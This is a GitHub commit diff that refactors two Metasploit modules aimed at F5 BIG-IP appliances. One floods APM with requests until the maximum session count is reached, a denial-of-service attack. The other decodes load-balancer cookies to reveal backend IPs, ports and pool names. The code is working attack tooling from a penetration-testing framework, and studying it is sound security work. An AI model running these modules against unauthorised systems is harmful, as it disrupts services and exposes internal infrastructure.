Skip to content

Commit 040a1af

Browse files
committed
Delete useless ecnryption cookie detection, fix minor issues
1 parent ee17d6e commit 040a1af

File tree

3 files changed

+154
-158
lines changed

3 files changed

+154
-158
lines changed

modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb

Lines changed: 27 additions & 29 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,6 @@
66
require 'msf/core'
77

88
class Metasploit3 < Msf::Auxiliary
9-
109
include Msf::Exploit::Remote::HttpClient
1110

1211
def initialize(info = {})
@@ -22,10 +21,10 @@ def initialize(info = {})
2221
},
2322
'Author' =>
2423
[
25-
'Oleg Broslavsky <ovbroslavsky[at]gmail.com>',
26-
'Nikita Oleksov <neoleksov[at]gmail.com>',
27-
'Denis Kolegov <dnkolegov[at]gmail.com>',
28-
],
24+
'Oleg Broslavsky <ovbroslavsky[at]gmail.com>',
25+
'Nikita Oleksov <neoleksov[at]gmail.com>',
26+
'Denis Kolegov <dnkolegov[at]gmail.com>'
27+
],
2928
'References' =>
3029
[
3130
['URL', 'https://support.f5.com/kb/en-us/products/big-ip_apm/releasenotes/product/relnote-apm-11-6-0.html']
@@ -47,34 +46,35 @@ def initialize(info = {})
4746

4847
def run
4948
# Main function
50-
datastore['SSL']? proto = 'https' : proto = 'http'
49+
rlimit = datastore['RLIMIT']
50+
proto = datastore['SSL'] ? 'https' : 'http'
5151

5252
# Send an initial test request
53-
res = send_request_cgi('method' => 'GET', 'uri' => '/')
54-
if res
55-
print_status("#{peer} - Starting DoS attack")
56-
else
57-
print_error("#{proto}://#{rhost}:#{rport} - Unable to connect to BIgIP. Please check options")
58-
return
59-
end
53+
res = send_request_cgi('method' => 'GET', 'uri' => '/')
54+
if res
55+
print_status("#{peer} - Starting DoS attack")
56+
else
57+
print_error("#{proto}://#{rhost}:#{rport} - Unable to connect to BIgIP. Please check options")
58+
return
59+
end
6060

6161
# Start attack
62-
for i in 1..datastore['RLIMIT']
63-
res = send_request_cgi('method' => 'GET', 'uri' => '/')
64-
if res and res.headers['Location'] == '/my.logout.php3?errorcode=14'
65-
print_status("#{peer} - The maximum number of concurrent user sessions has been reached. No new user sessions can start at this time")
66-
print_status("#{peer} - DoS attack is successful")
67-
return;
68-
end
62+
(1..rlimit).each do
63+
res = send_request_cgi('method' => 'GET', 'uri' => '/')
64+
if res && res.headers['Location'] == '/my.logout.php3?errorcode=14'
65+
print_status("#{peer} - The maximum number of concurrent user sessions has been reached. No new user sessions can start at this time")
66+
print_status("#{peer} - DoS attack is successful")
67+
return
6968
end
69+
end
7070

7171
# Check if attack is unsuccessfull
72-
res = send_request_cgi('method' => 'GET', 'uri' => uri)
73-
if res.headers['Location'] == '/my.policy'
74-
print_status("#{peer} - DoS attack is unsuccessful. Try to increase the RLIMIT number")
75-
else
76-
print_status("#{peer} - Result is undefined. Try to manually determine DoS attack result")
77-
end
72+
res = send_request_cgi('method' => 'GET', 'uri' => uri)
73+
if res.headers['Location'] == '/my.policy'
74+
print_status("#{peer} - DoS attack is unsuccessful. Try to increase the RLIMIT number")
75+
else
76+
print_status("#{peer} - Result is undefined. Try to manually determine DoS attack result")
77+
end
7878

7979
rescue ::Rex::ConnectionRefused
8080
print_error("#{proto}://#{rhost}:#{rport} - Unable to connect to BigIP")
@@ -84,8 +84,6 @@ def run
8484
print_error("#{peer} - The connection was reset. Probably BigIP \"Max In Progress Sessions Per Client IP\" counter was reached")
8585
print_status("#{peer} - DoS attack is unsuccessful")
8686
rescue ::OpenSSL::SSL::SSLError
87-
print_error("#{peer} - SSL/TLS connection error")
88-
87+
print_error("#{peer} - SSL/TLS connection error")
8988
end
90-
9189
end

modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb

Lines changed: 54 additions & 60 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,6 @@
66
require 'msf/core'
77

88
class Metasploit3 < Msf::Auxiliary
9-
109
include Msf::Auxiliary::Report
1110
include Msf::Exploit::Remote::HttpClient
1211

@@ -17,11 +16,13 @@ def initialize(info = {})
1716
This module identifies F5 BigIP load balancers and leaks backend
1817
information (pool name, backend's IP address and port, routed domain) through cookies inserted by the BigIP system.
1918
},
20-
'Author' => [ 'Thanat0s <thanspam[at]trollprod.org>',
21-
'Oleg Broslavsky <ovbroslavsky[at]gmail.com>',
22-
'Nikita Oleksov <neoleksov[at]gmail.com>',
23-
'Denis Kolegov <dnkolegov[at]gmail.com>'
24-
],
19+
'Author' =>
20+
[
21+
'Thanat0s <thanspam[at]trollprod.org>',
22+
'Oleg Broslavsky <ovbroslavsky[at]gmail.com>',
23+
'Nikita Oleksov <neoleksov[at]gmail.com>',
24+
'Denis Kolegov <dnkolegov[at]gmail.com>'
25+
],
2526
'References' =>
2627
[
2728
['URL', 'http://support.f5.com/kb/en-us/solutions/public/6000/900/sol6917.html'],
@@ -43,121 +44,114 @@ def initialize(info = {})
4344
], self.class)
4445
end
4546

46-
def change_endianness(value, size=4)
47+
def change_endianness(value, size = 4)
4748
conversion = nil
48-
4949
if size == 4
5050
conversion = [value].pack("V").unpack("N").first
5151
elsif size == 2
5252
conversion = [value].pack("v").unpack("n").first
5353
end
54-
5554
conversion
5655
end
5756

5857
def cookie_decode(cookie_value)
59-
if cookie_value =~ /(\d{8,10})\.(\d{1,5})\./
60-
host = $1.to_i
61-
port = $2.to_i
58+
backend = {}
59+
case
60+
when cookie_value =~ /(\d{8,10})\.(\d{1,5})\./
61+
host = Regexp.last_match(1).to_i
62+
port = Regexp.last_match(2).to_i
6263
host = change_endianness(host)
6364
host = Rex::Socket.addr_itoa(host)
6465
port = change_endianness(port, 2)
65-
elsif cookie_value.downcase =~ /rd\d+o0{20}f{4}([a-f0-9]{8})o(\d{1,5})/
66-
host = $1.to_i(16)
67-
port = $2.to_i
66+
when cookie_value.downcase =~ /rd\d+o0{20}f{4}([a-f0-9]{8})o(\d{1,5})/
67+
host = Regexp.last_match(1).to_i(16)
68+
port = Regexp.last_match(2).to_i
6869
host = Rex::Socket.addr_itoa(host)
69-
elsif cookie_value.downcase =~ /vi([a-f0-9]{32})\.(\d{1,5})/
70-
host = $1.to_i(16)
71-
port = $2.to_i
72-
host = Rex::Socket.addr_itoa(host, v6=true)
70+
when cookie_value.downcase =~ /vi([a-f0-9]{32})\.(\d{1,5})/
71+
host = Regexp.last_match(1).to_i(16)
72+
port = Regexp.last_match(2).to_i
73+
host = Rex::Socket.addr_itoa(host, true)
7374
port = change_endianness(port, 2)
74-
elsif cookie_value.downcase =~ /rd\d+o([a-f0-9]{32})o(\d{1,5})/
75-
host = $1.to_i(16)
76-
port = $2.to_i
77-
host = Rex::Socket.addr_itoa(host, v6=true)
78-
elsif cookie_value =~ /!(.){104}/
75+
when cookie_value.downcase =~ /rd\d+o([a-f0-9]{32})o(\d{1,5})/
76+
host = Regexp.last_match(1).to_i(16)
77+
port = Regexp.last_match(2).to_i
78+
host = Rex::Socket.addr_itoa(host, true)
79+
else
7980
host = nil
8081
port = nil
8182
end
82-
back_end = (host.nil?) ? nil : "#{host}:#{port}"
83+
84+
backend[:host] = (host.nil?) ? nil : host
85+
backend[:port] = (port.nil?) ? nil : port
86+
backend
8387
end
8488

8589
def get_cookie # request a page and extract a F5 looking cookie.
8690
cookie = {}
87-
res = send_request_raw({
88-
'method' => 'GET',
89-
'uri' => @uri
90-
})
91+
res = send_request_raw({ 'method' => 'GET', 'uri' => @uri })
9192

9293
unless res.nil?
9394
# Get the SLB session IDs for all cases:
9495
# 1. IPv4 pool members - "BIGipServerWEB=2263487148.3013.0000",
9596
# 2. IPv4 pool members in non-default routed domains - "BIGipServerWEB=rd5o00000000000000000000ffffc0000201o80",
9697
# 3. IPv6 pool members - "BIGipServerWEB=vi20010112000000000000000000000030.20480",
97-
# 4. IPv6 pool members in non-default route domains - "BIGipServerWEB=rd3o20010112000000000000000000000030o80",
98-
# 5. Encrypted cookies - "BIGipServerWEB=!dcdlUciYEFlt1QzXtD7QKx22XJx7Uuj2I0dYdFTwJASsJyJySME9/GACjztr7WYJIvHxTSNreeve7foossGzKS3vT9ECJscSg1LAc3rc"
98+
# 4. IPv6 pool members in non-default route domains - "BIGipServerWEB=rd3o20010112000000000000000000000030o80"
99+
100+
regexp = /
101+
([~_\.\-\w\d]+)=(((?:\d+\.){2}\d+)|
102+
(rd\d+o0{20}f{4}\w+o\d{1,5})|
103+
(vi([a-f0-9]{32})\.(\d{1,5}))|
104+
(rd\d+o([a-f0-9]{32})o(\d{1,5})))
105+
(?:$|,|;|\s)
106+
/x
99107

100-
m = res.get_cookies.match(/([~_\.\-\w\d]+)=(((?:\d+\.){2}\d+)|(rd\d+o0{20}f{4}\w+o\d{1,5})|(vi([a-f0-9]{32})\.(\d{1,5}))|(rd\d+o([a-f0-9]{32})o(\d{1,5}))|(!(.){104}))(?:$|,|;|\s)/)
108+
m = res.get_cookies.match(regexp)
101109
cookie[:id] = (m.nil?) ? nil : m[1]
102110
cookie[:value] = (m.nil?) ? nil : m[2]
103-
104-
end
105-
111+
end
106112
cookie
107113
end
108114

109115
def run
110-
unless datastore['REQUESTS'] > 0
111-
print_error("Please, configure more than 0 REQUESTS")
112-
return
113-
end
114-
115-
back_ends = []
116+
requests = datastore['REQUESTS']
117+
backends = []
116118
@uri = normalize_uri(target_uri.path.to_s)
117119
print_status("#{peer} - Starting request #{@uri}")
118120

119-
for i in 0...datastore['REQUESTS']
120-
cookie = get_cookie() # Get the cookie
121+
(1..requests).each do |i|
122+
cookie = get_cookie # Get the cookie
121123
# If the cookie is not found, stop process
122124
if cookie.empty? || cookie[:id].nil?
123125
print_error("#{peer} - F5 BigIP load balancing cookie not found")
124-
break
126+
return
125127
end
126128

127129
# Print the cookie name on the first request
128-
if i == 0
130+
if i == 1
129131
print_status("#{peer} - F5 BigIP load balancing cookie \"#{cookie[:id]} = #{cookie[:value]}\" found")
130132
if cookie[:id].start_with?('BIGipServer')
131133
print_status("#{peer} - Load balancing pool name \"#{cookie[:id].split('BIGipServer')[1]}\" found")
132134
end
133135
if cookie[:value].start_with?('rd')
134136
print_status("#{peer} - Route domain \"#{cookie[:value].split('rd')[1].split('o')[0]}\" found")
135137
end
136-
if cookie[:value].start_with?('!')
137-
print_status("#{peer} - F5 BigIP cookie is probably encrypted")
138-
end
139138
end
140139

141-
back_end = cookie_decode(cookie[:value])
142-
unless back_end.nil? || back_ends.include?(back_end)
143-
print_status("#{peer} - Backend #{back_end} found")
144-
back_ends.push(back_end)
140+
backend = cookie_decode(cookie[:value])
141+
unless backend[:host].nil? || backends.include?(backend)
142+
print_status("#{peer} - Backend #{backend[:host]}:#{backend[:port]} found")
143+
backends.push(backend)
145144
end
146145
end
147146

148147
# Reporting found backends in database
149-
unless back_ends.empty?
150-
report_note(
151-
:host => rhost,
152-
:type => "f5_load_balancer_backends",
153-
:data => back_ends
154-
)
148+
unless backends.empty?
149+
report_note(host: rhost, type: "f5_load_balancer_backends", data: backends)
155150
end
156151

157152
rescue ::Rex::ConnectionError
158153
print_error("#{peer} - Network connection error")
159154
rescue ::OpenSSL::SSL::SSLError
160-
print_error("#{peer} - SSL/TLS connection error")
161-
155+
print_error("#{peer} - SSL/TLS connection error")
162156
end
163157
end

0 commit comments

Comments
 (0)